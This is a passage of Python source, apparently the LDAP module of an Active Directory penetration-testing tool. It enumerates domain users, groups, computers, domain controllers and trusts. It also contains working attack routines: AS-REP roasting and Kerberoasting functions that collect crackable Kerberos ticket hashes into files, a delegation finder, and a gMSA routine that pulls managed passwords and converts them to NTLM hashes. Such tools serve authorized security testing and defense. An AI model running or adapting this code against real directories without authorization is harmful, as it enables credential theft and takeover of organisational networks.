def search(self, searchFilter, attributes, sizeLimit=0, baseDN=None, searchControls=None) -> list:
|
|
if baseDN is None and self.args.base_dn is not None:
|
|
baseDN = self.args.base_dn
|
|
elif baseDN is None:
|
|
baseDN = self.baseDN
|
|
|
|
try:
|
|
if self.ldap_connection:
|
|
self.logger.debug(f"Search Filter={searchFilter}")
|
|
|
|
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
|
|
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else ""
|
|
return self.ldap_connection.search(
|
|
scope=self.scope,
|
|
searchBase=baseDN,
|
|
searchFilter=searchFilter,
|
|
attributes=attributes,
|
|
sizeLimit=sizeLimit,
|
|
searchControls=searchControls if searchControls else paged_search_control,
|
|
)
|
|
except ldap_impacket.LDAPSearchError as e:
|
|
if "sizeLimitExceeded" in str(e):
|
|
# We should never reach this code as we use paged search now
|
|
self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received")
|
|
e.getAnswers()
|
|
# if empty username and password is possible that we need to change the scope, we try with a baseObject before returning a fail
|
|
elif "operationsError" in str(e) and self.scope is None and self.username == "" and self.password == "":
|
|
self.scope = ldapasn1_impacket.Scope("baseObject")
|
|
return self.search(searchFilter, attributes, sizeLimit, baseDN)
|
|
else:
|
|
self.logger.fail(e)
|
|
return []
|
|
return []
|
|
|
|
def users(self):
|
|
"""
|
|
Retrieves user information from the LDAP server.
|
|
|
|
Args:
|
|
----
|
|
input_attributes (list): Optional. List of attributes to retrieve for each user.
|
|
|
|
Returns:
|
|
-------
|
|
None
|
|
"""
|
|
if self.args.users:
|
|
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
|
|
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
|
|
else:
|
|
self.logger.debug("Trying to dump all users")
|
|
search_filter = "(sAMAccountType=805306368)"
|
|
|
|
# Default to these attributes to mirror the SMB --users functionality
|
|
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
|
|
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
|
users = []
|
|
|
|
if resp:
|
|
resp_parsed = parse_result_attributes(resp)
|
|
|
|
# We print the total records after we parse the results since often SearchResultReferences are returned
|
|
self.logger.display(f"Enumerated {len(resp_parsed):d} domain users: {self.domain}")
|
|
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
|
|
for user in resp_parsed:
|
|
pwd_last_set = user.get("pwdLastSet", "")
|
|
if pwd_last_set:
|
|
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
|
|
|
|
# We default attributes to blank strings if they don't exist in the dict
|
|
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}")
|
|
users.append(user.get("sAMAccountName", ""))
|
|
if self.args.users_export:
|
|
self.logger.display(f"Writing {len(resp_parsed):d} local users to {self.args.users_export}")
|
|
with open(self.args.users_export, "w+") as file:
|
|
file.writelines(f"{user}\n" for user in users)
|
|
|
|
def users_export(self):
|
|
self.users()
|
|
|
|
def groups(self):
|
|
# Building the search filter
|
|
if self.args.groups:
|
|
self.logger.debug(f"Dumping group: {self.args.groups}")
|
|
search_filter = f"(cn={self.args.groups})"
|
|
attributes = ["member"]
|
|
else:
|
|
search_filter = "(objectCategory=group)"
|
|
attributes = ["cn", "member", "description"]
|
|
resp = self.search(search_filter, attributes, 0)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
|
|
|
|
if self.args.groups:
|
|
if not resp_parsed:
|
|
self.logger.fail(f"Group {self.args.groups} not found")
|
|
elif not resp_parsed[0]:
|
|
self.logger.fail(f"Group {self.args.groups} has no members")
|
|
else:
|
|
# Fix if group has only one member
|
|
if not isinstance(resp_parsed[0]["member"], list):
|
|
resp_parsed[0]["member"] = [resp_parsed[0]["member"]]
|
|
for user in resp_parsed[0]["member"]:
|
|
self.logger.highlight(user.split(",")[0].split("=")[1])
|
|
else:
|
|
self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
|
|
for item in resp_parsed:
|
|
try:
|
|
# Fix if group has only one member
|
|
if not isinstance(item.get("member", []), list):
|
|
item["member"] = [item["member"]]
|
|
self.logger.highlight(f"{item['cn']:<40} {len(item.get('member', [])):<9} {item.get('description', '')}")
|
|
except Exception as e:
|
|
self.logger.debug("Exception:", exc_info=True)
|
|
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
|
|
|
def computers(self):
|
|
resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["sAMAccountName"])
|
|
resp_parsed = parse_result_attributes(resp)
|
|
|
|
if resp:
|
|
self.logger.display(f"Total records returned: {len(resp_parsed)}")
|
|
for item in resp_parsed:
|
|
self.logger.highlight(item["sAMAccountName"])
|
|
|
|
def dc_list(self):
|
|
# bypass host resolver configuration via configure=False (default pulls from /etc/resolv.conf or registry on Windows)
|
|
resolv = resolver.Resolver(configure=False)
|
|
ns = self.args.dns_server or self.host
|
|
resolv.nameservers = [socket.gethostbyname(ns)]
|
|
self.logger.debug(f"DNS Server option: {self.args.dns_server}, using DNS server: {resolv.nameservers}")
|
|
resolv.timeout = self.args.dns_timeout
|
|
|
|
def resolve_and_display_hostname(name, domain_name=None):
|
|
prefix = f"[{domain_name}] " if domain_name else ""
|
|
try:
|
|
# Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records
|
|
for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]:
|
|
try:
|
|
answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp)
|
|
for rdata in answers:
|
|
if record_type in ["A", "AAAA"]:
|
|
ip_address = rdata.to_text()
|
|
self.logger.highlight(f"{prefix}{name} = {colored(ip_address, host_info_colors[0])}")
|
|
return
|
|
elif record_type == "CNAME":
|
|
self.logger.highlight(f"{prefix}{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}")
|
|
return
|
|
elif record_type == "PTR":
|
|
self.logger.highlight(f"{prefix}{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}")
|
|
return
|
|
elif record_type == "NS":
|
|
self.logger.highlight(f"{prefix}{name} NS = {colored(rdata.to_text(), host_info_colors[0])}")
|
|
return
|
|
except resolver.NXDOMAIN:
|
|
self.logger.fail(f"{prefix}{name} ({record_type}) = Host not found (NXDOMAIN)")
|
|
except resolver.Timeout:
|
|
self.logger.fail(f"{prefix}{name} ({record_type}) = Connection timed out")
|
|
except resolver.NoAnswer:
|
|
self.logger.fail(f"{prefix}{name} ({record_type}) = DNS server did not respond")
|
|
except resolver.NoNameservers:
|
|
self.logger.fail(f"{prefix}{name} ({record_type}) = No nameservers available")
|
|
except Exception as e:
|
|
self.logger.fail(f"{prefix}{name} ({record_type}) encountered an unexpected error: {e}")
|
|
except Exception as e:
|
|
self.logger.fail(f"Skipping item(dNSHostName) {prefix}{name}, error: {e}")
|
|
|
|
# Find all domain controllers in the current domain
|
|
self.logger.info("Enumerating Domain Controllers in current domain...")
|
|
search_filter = "(&(objectCategory=computer)(primaryGroupId=516))"
|
|
attributes = ["dNSHostName"]
|
|
resp = self.search(search_filter, attributes)
|
|
resp_parse = parse_result_attributes(resp)
|
|
for item in resp_parse:
|
|
if "dNSHostName" in item: # Get dNSHostName attribute
|
|
name = item["dNSHostName"]
|
|
resolve_and_display_hostname(name)
|
|
|
|
# Find all trusted domains
|
|
self.logger.info("Enumerating Trusted Domains...")
|
|
search_filter = "(objectClass=trustedDomain)"
|
|
attributes = ["name", "trustDirection", "trustType", "trustAttributes", "flatName"]
|
|
resp = self.search(search_filter, attributes, 0)
|
|
trust_resp_parse = parse_result_attributes(resp)
|
|
|
|
for trust in trust_resp_parse:
|
|
try:
|
|
trust_name = trust["name"]
|
|
trust_flat_name = trust["flatName"]
|
|
trust_direction = int(trust["trustDirection"])
|
|
trust_type = int(trust["trustType"])
|
|
trust_attributes = int(trust["trustAttributes"])
|
|
|
|
# See: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c
|
|
trust_attribute_flags = {
|
|
0x1: "Non-Transitive",
|
|
0x2: "Uplevel-Only",
|
|
0x4: "Quarantined Domain",
|
|
0x8: "Forest Transitive",
|
|
0x10: "Cross Organization",
|
|
0x20: "Within Forest",
|
|
0x40: "Treat as External",
|
|
0x80: "Uses RC4 Encryption",
|
|
0x200: "Cross Organization No TGT Delegation",
|
|
0x800: "Cross Organization Enable TGT Delegation",
|
|
0x2000: "PAM Trust"
|
|
}
|
|
|
|
# For check if multiple posibble flags, like Uplevel-Only, Treat as External
|
|
trust_attributes_text = ", ".join(
|
|
text for flag, text in trust_attribute_flags.items()
|
|
if trust_attributes & flag
|
|
) or "Other" # If Trust attrs not known
|
|
|
|
# Convert trust direction/type to human-readable format
|
|
direction_text = {
|
|
0: "Disabled",
|
|
1: "Inbound",
|
|
2: "Outbound",
|
|
3: "Bidirectional",
|
|
}[trust_direction]
|
|
|
|
trust_type_text = {
|
|
1: "Windows NT",
|
|
2: "Active Directory",
|
|
3: "Kerberos",
|
|
4: "Unknown",
|
|
5: "Azure Active Directory",
|
|
}[trust_type]
|
|
|
|
self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})")
|
|
self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}, Trust Attributes: {trust_attributes_text}")
|
|
|
|
except Exception as e:
|
|
self.logger.fail(f"Failed {e} in trust entry: {trust}")
|
|
|
|
# Only process if it's an Active Directory trust
|
|
if int(trust_type) == 2:
|
|
# Try to find domain controllers in trusted domain using DNS
|
|
# Check if we can resolve the trusted domain's DC using DNS
|
|
dc_dns_name = f"_ldap._tcp.dc._msdcs.{trust_name}"
|
|
try:
|
|
srv_records = resolv.resolve(dc_dns_name, "SRV", tcp=self.args.dns_tcp)
|
|
self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:")
|
|
for srv in srv_records:
|
|
dc_hostname = str(srv.target).rstrip(".")
|
|
self.logger.success(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0], attrs=['bold'])}")
|
|
self.logger.highlight(f"{trust_name} -> {direction_text} -> {trust_attributes_text}")
|
|
resolve_and_display_hostname(dc_hostname)
|
|
except Exception as e:
|
|
self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}")
|
|
else:
|
|
self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}")
|
|
self.logger.info("Domain Controller enumeration complete.")
|
|
|
|
def active_users(self):
|
|
if len(self.args.active_users) > 0:
|
|
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
|
|
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
|
|
else:
|
|
self.logger.debug("Trying to dump all users")
|
|
search_filter = "(sAMAccountType=805306368)"
|
|
|
|
# Default to these attributes to mirror the SMB --users functionality
|
|
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
|
|
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
|
|
|
if resp:
|
|
all_users = parse_result_attributes(resp)
|
|
# Filter disabled users (ignore accounts without userAccountControl value)
|
|
active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)]
|
|
|
|
self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled")
|
|
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
|
|
|
|
for user in active_users:
|
|
pwd_last_set = user.get("pwdLastSet", "")
|
|
if pwd_last_set:
|
|
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
|
|
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}")
|
|
|
|
def asreproast(self):
|
|
# Building the search filter
|
|
search_filter = f"(&(UserAccountControl:1.2.840.113556.1.4.803:={UF_DONT_REQUIRE_PREAUTH})(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))(!(objectCategory=computer)))"
|
|
resp = self.search(search_filter, attributes=["sAMAccountName"], sizeLimit=0)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
if not resp_parsed:
|
|
self.logger.highlight("No entries found!")
|
|
else:
|
|
self.logger.display(f"Total of records returned {len(resp_parsed)}")
|
|
for user in resp_parsed:
|
|
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user["sAMAccountName"])
|
|
if hash_TGT:
|
|
self.logger.highlight(f"{hash_TGT}")
|
|
with open(self.args.asreproast, "a+") as hash_asreproast:
|
|
hash_asreproast.write(f"{hash_TGT}\n")
|
|
|
|
def kerberoasting(self):
|
|
if self.args.no_preauth_targets:
|
|
usernames = []
|
|
for item in self.args.no_preauth_targets:
|
|
if os.path.isfile(item):
|
|
with open(item, encoding="utf-8") as f:
|
|
usernames.extend(line.strip() for line in f if line.strip())
|
|
else:
|
|
usernames.append(item.strip())
|
|
|
|
skipped = []
|
|
hashes = []
|
|
|
|
for spn in usernames:
|
|
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
|
|
|
|
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
|
|
skipped.append(base_name)
|
|
continue
|
|
|
|
if not self.username:
|
|
self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
|
|
return
|
|
hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
|
|
if hashline:
|
|
hashes.append(hashline)
|
|
|
|
if skipped:
|
|
self.logger.display(f"Skipping account: {', '.join(skipped)}")
|
|
if hashes:
|
|
self.logger.display(f"Total of records returned {len(hashes)}")
|
|
else:
|
|
self.logger.highlight("No entries found!")
|
|
|
|
for line in hashes:
|
|
self.logger.highlight(line)
|
|
if self.args.kerberoasting:
|
|
with open(self.args.kerberoasting, "a+", encoding="utf-8") as f:
|
|
f.write(line + "\n")
|
|
return
|
|
|
|
if self.args.kerberoast_account:
|
|
target_accounts = []
|
|
for item in self.args.kerberoast_account:
|
|
if os.path.isfile(item):
|
|
try:
|
|
with open(item, encoding="utf-8") as f:
|
|
target_accounts.extend(line.strip() for line in f if line.strip())
|
|
except Exception as e:
|
|
self.logger.fail(f"Failed to read file '{item}': {e}")
|
|
else:
|
|
target_accounts.append(item.strip())
|
|
|
|
self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}")
|
|
|
|
# build search filter for specific users
|
|
user_filter = "".join([f"(sAMAccountName={username})" for username in target_accounts])
|
|
searchFilter = f"(&(servicePrincipalName=*)(|{user_filter}))"
|
|
else:
|
|
# default to all
|
|
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
|
|
|
|
attributes = [
|
|
"sAMAccountName",
|
|
"userAccountControl",
|
|
"servicePrincipalName",
|
|
"MemberOf",
|
|
"pwdLastSet",
|
|
"lastLogon",
|
|
"objectClass",
|
|
]
|
|
resp = self.search(searchFilter, attributes, 0)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
self.logger.debug(f"Search Filter: {searchFilter}")
|
|
self.logger.debug(f"Attributes: {attributes}")
|
|
self.logger.debug(f"Response: {resp_parsed}")
|
|
|
|
if not resp_parsed:
|
|
self.logger.highlight("No entries found!")
|
|
else:
|
|
# Filter disabled accounts
|
|
disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
|
|
for account in disabled_accounts:
|
|
self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
|
|
|
|
# Get all enabled accounts
|
|
enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
|
|
self.logger.display(f"Total of records returned {len(enabled):d}")
|
|
|
|
for user in enabled:
|
|
# Perform Kerberos Attack
|
|
TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache)
|
|
self.logger.debug(f"TGT: {TGT}")
|
|
if TGT:
|
|
downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}"
|
|
try:
|
|
principalName = Principal()
|
|
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
|
|
principalName.components = [downLevelLogonName]
|
|
|
|
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
|
|
principalName,
|
|
self.domain,
|
|
self.kdcHost,
|
|
TGT["KDC_REP"],
|
|
TGT["cipher"],
|
|
TGT["sessionKey"],
|
|
)
|
|
out = KerberosAttacks(self).output_tgs(
|
|
tgs,
|
|
oldSessionKey,
|
|
sessionKey,
|
|
user["sAMAccountName"],
|
|
downLevelLogonName,
|
|
is_computer="computer" in user.get("objectClass", [])
|
|
)
|
|
|
|
pwdLastSet = "<never>" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"]))))
|
|
lastLogon = "<never>" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"]))))
|
|
self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}")
|
|
self.logger.highlight(f"{out}")
|
|
if self.args.kerberoasting:
|
|
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
|
|
hash_kerberoasting.write(out + "\n")
|
|
except Exception as e:
|
|
self.logger.debug(f"Exception: {e}", exc_info=True)
|
|
self.logger.fail(f"Principal: {downLevelLogonName} - {e}")
|
|
else:
|
|
self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}")
|
|
|
|
def query(self):
|
|
"""
|
|
Query the LDAP server with the specified filter and attributes.
|
|
Example usage:
|
|
--query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf"
|
|
"""
|
|
search_filter = self.args.query[0]
|
|
attributes = [attr.strip() for attr in self.args.query[1].split(" ")]
|
|
if len(attributes) == 1 and attributes[0] == "":
|
|
attributes = None
|
|
if not search_filter:
|
|
self.logger.fail("No filter specified")
|
|
return
|
|
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
|
|
try:
|
|
resp = self.search(search_filter, attributes, 0)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
except LDAPFilterSyntaxError as e:
|
|
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
|
|
return
|
|
for idx, entry in enumerate(resp_parsed):
|
|
if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry):
|
|
idx += 1 # Skip non-entry responses
|
|
self.logger.success(f"Response for object: {resp[idx]['objectName']}")
|
|
for attribute in entry:
|
|
if isinstance(entry[attribute], list) and entry[attribute]:
|
|
# Display first item in the same line as attribute
|
|
self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}")
|
|
for item in entry[attribute]:
|
|
self.logger.highlight(f"{'':<20} {item}")
|
|
else:
|
|
self.logger.highlight(f"{attribute:<20} {entry[attribute]}")
|
|
|
|
def find_delegation(self):
|
|
def printTable(items, header):
|
|
colLen = []
|
|
|
|
# Calculating maximum lenght before parsing CN.
|
|
for i, col in enumerate(header):
|
|
rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
|
|
colLen.append(max(rowMaxLen, len(col)))
|
|
|
|
# Create the format string for each row
|
|
outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)])
|
|
|
|
# Print header
|
|
self.logger.highlight(outputFormat.format(*header))
|
|
self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen]))
|
|
|
|
# Print rows
|
|
for row in items:
|
|
# Get first CN value.
|
|
if "CN=" in row[1]:
|
|
row[1] = row[1].split(",")[0].split("CN=")[-1]
|
|
|
|
# Added join for DelegationRightsTo
|
|
row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3]
|
|
|
|
self.logger.highlight(outputFormat.format(*row))
|
|
|
|
# Building the search filter
|
|
search_filter = (f"(&(|(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION})"
|
|
f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})"
|
|
"(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))"
|
|
f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))")
|
|
# f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs
|
|
|
|
attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"]
|
|
|
|
resp = self.search(search_filter, attributes)
|
|
answers = []
|
|
resp_parsed = parse_result_attributes(resp)
|
|
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
|
|
|
|
for item in resp_parsed:
|
|
sAMAccountName = ""
|
|
userAccountControl = 0
|
|
delegation = ""
|
|
objectType = ""
|
|
rightsTo = []
|
|
protocolTransition = 0
|
|
|
|
try:
|
|
sAMAccountName = item["sAMAccountName"]
|
|
|
|
userAccountControl = int(item["userAccountControl"])
|
|
objectType = item.get("objectCategory")
|
|
|
|
# Filter out DCs, unconstrained delegation to DCs is not a useful information
|
|
if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & UF_SERVER_TRUST_ACCOUNT:
|
|
delegation = "Unconstrained"
|
|
rightsTo.append("N/A")
|
|
elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
|
|
delegation = "Constrained w/ Protocol Transition"
|
|
protocolTransition = 1
|
|
|
|
if item.get("msDS-AllowedToDelegateTo") is not None:
|
|
if protocolTransition == 0:
|
|
delegation = "Constrained"
|
|
rightsTo = item.get("msDS-AllowedToDelegateTo")
|
|
|
|
# Not an elif as an object could both have RBCD and another type of delegation
|
|
if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None:
|
|
databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity")
|
|
rbcdRights = []
|
|
rbcdObjType = []
|
|
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte))
|
|
if len(sd["Dacl"].aces) > 0:
|
|
search_filter = "(&(|"
|
|
for ace in sd["Dacl"].aces:
|
|
search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")"
|
|
search_filter += f")(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))"
|
|
delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"])
|
|
delegUserResp_parse = parse_result_attributes(delegUserResp)
|
|
|
|
for rbcd in delegUserResp_parse:
|
|
rbcdRights.append(str(rbcd.get("sAMAccountName")))
|
|
rbcdObjType.append(str(rbcd.get("objectCategory")))
|
|
|
|
for rights, objType in zip(rbcdRights, rbcdObjType, strict=True):
|
|
answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName])
|
|
|
|
if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]:
|
|
answers.append([sAMAccountName, objectType, delegation, rightsTo])
|
|
|
|
except Exception as e:
|
|
self.logger.error(f"Skipping item, cannot process due to error {e}")
|
|
|
|
if answers:
|
|
printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"])
|
|
else:
|
|
self.logger.fail("No entries found!")
|
|
|
|
def trusted_for_delegation(self):
|
|
# Building the search filter
|
|
searchFilter = f"(userAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})"
|
|
resp = self.search(searchFilter, attributes=["sAMAccountName"], sizeLimit=0)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
self.logger.debug(f"Total of records returned {len(resp_parsed):d}")
|
|
|
|
if resp_parsed:
|
|
for item in resp_parsed:
|
|
self.logger.highlight(item["sAMAccountName"])
|
|
else:
|
|
self.logger.fail("No entries found!")
|
|
|
|
def password_not_required(self):
|
|
# Building the search filter
|
|
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)"
|
|
attributes = [
|
|
"sAMAccountName",
|
|
"userAccountControl",
|
|
]
|
|
resp = self.search(searchFilter, attributes, sizeLimit=0, baseDN=self.baseDN)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
self.logger.debug(f"Total of records returned {len(resp_parsed):d}")
|
|
|
|
if resp_parsed:
|
|
for user in resp_parsed:
|
|
status = "disabled" if int(user["userAccountControl"]) & 2 else "enabled"
|
|
self.logger.highlight(f"User: {user['sAMAccountName']} Status: {status}")
|
|
else:
|
|
self.logger.fail("No entries found!")
|
|
|
|
def admin_count(self):
|
|
# Building the search filter
|
|
resp = self.search(searchFilter="(&(adminCount=1)(objectClass=user))", attributes=["sAMAccountName"], sizeLimit=0)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
self.logger.debug(f"Total of records returned {len(resp_parsed):d}")
|
|
|
|
if resp_parsed:
|
|
for user in resp_parsed:
|
|
self.logger.highlight(user["sAMAccountName"])
|
|
else:
|
|
self.logger.fail("No entries found!")
|
|
|
|
def gmsa(self):
|
|
self.logger.display("Getting GMSA Passwords")
|
|
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
|
gmsa_accounts = self.search(
|
|
searchFilter=search_filter,
|
|
attributes=[
|
|
"sAMAccountName",
|
|
"msDS-ManagedPassword",
|
|
"msDS-GroupMSAMembership",
|
|
],
|
|
)
|
|
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
|
if gmsa_accounts_parsed:
|
|
self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
|
|
|
|
for acc in gmsa_accounts_parsed:
|
|
# PrincipalAllowedToRetrieveGMSAPassword
|
|
principal_with_read = []
|
|
if "msDS-GroupMSAMembership" in acc:
|
|
msDS_GroupMSAMembership = acc["msDS-GroupMSAMembership"]
|
|
dacl = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(msDS_GroupMSAMembership))
|
|
|
|
# Get all SIDs that have the right to read the password
|
|
sids = [ace["Ace"]["Sid"].formatCanonical() for ace in dacl["Dacl"]["Data"] if ace["AceType"] == 0x00]
|
|
self.logger.debug(f"msDS-GroupMSAMembership: {sids}")
|
|
search_filter = "(|" + "".join([f"(objectSid={sid})" for sid in sids]) + ")"
|
|
resp = self.ldap_connection.search(
|
|
searchBase=self.baseDN,
|
|
searchFilter=search_filter,
|
|
attributes=["sAMAccountName"],
|
|
sizeLimit=0,
|
|
)
|
|
resp_parsed = parse_result_attributes(resp)
|
|
if len(resp_parsed) > 1:
|
|
principal_with_read = [f"{item['sAMAccountName']}" for item in resp_parsed]
|
|
elif len(resp_parsed) == 1:
|
|
principal_with_read = resp_parsed[0]["sAMAccountName"]
|
|
|
|
# Get the password
|
|
passwd = "<no read permissions>"
|
|
if "msDS-ManagedPassword" in acc:
|
|
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
|
blob.fromString(acc["msDS-ManagedPassword"])
|
|
currentPassword = blob["CurrentPassword"][:-2]
|
|
ntlm_hash = MD4.new()
|
|
ntlm_hash.update(currentPassword)
|
|
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
|
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
|
|
return True
|
|
|
|
def decipher_gmsa_name(self, domain_name=None, account_name=None):
|
|
# https://aadinternals.com/post/gmsa/
|
|
gmsa_account_name = (domain_name + account_name).upper()
|
|
self.logger.debug(f"GMSA name for {gmsa_account_name}")
|
|
bin_account_name = gmsa_account_name.encode("utf-16le")
|
|
bin_hash = hmac.new(bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256).digest()
|
|
hex_letters = "0123456789abcdef"
|
|
str_hash = ""
|
|
for b in bin_hash:
|
|
str_hash += hex_letters[b & 0x0F]
|
|
str_hash += hex_letters[b >> 0x04]
|
|
self.logger.debug(f"Hash2: {str_hash}")
|
|
return str_hash
|
|
|
|
def gmsa_convert_id(self):
|
|
if self.args.gmsa_convert_id:
|
|
if len(self.args.gmsa_convert_id) != 64:
|
|
self.logger.fail("Length of the gmsa id not correct :'(")
|
|
else:
|
|
# getting the gmsa account
|
|
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
|
gmsa_accounts = self.ldap_connection.search(
|
|
searchBase=self.baseDN,
|
|
searchFilter=search_filter,
|
|
attributes=["sAMAccountName"],
|
|
sizeLimit=0,
|
|
)
|
|
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
|
|
if gmsa_accounts_parsed:
|
|
self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
|
|
|
|
for acc in gmsa_accounts_parsed:
|
|
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == self.args.gmsa_convert_id:
|
|
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
|
|
break
|
|
else:
|
|
self.logger.fail("No string provided :'(")
|
|
|
|
def gmsa_decrypt_lsa(self):
|
|
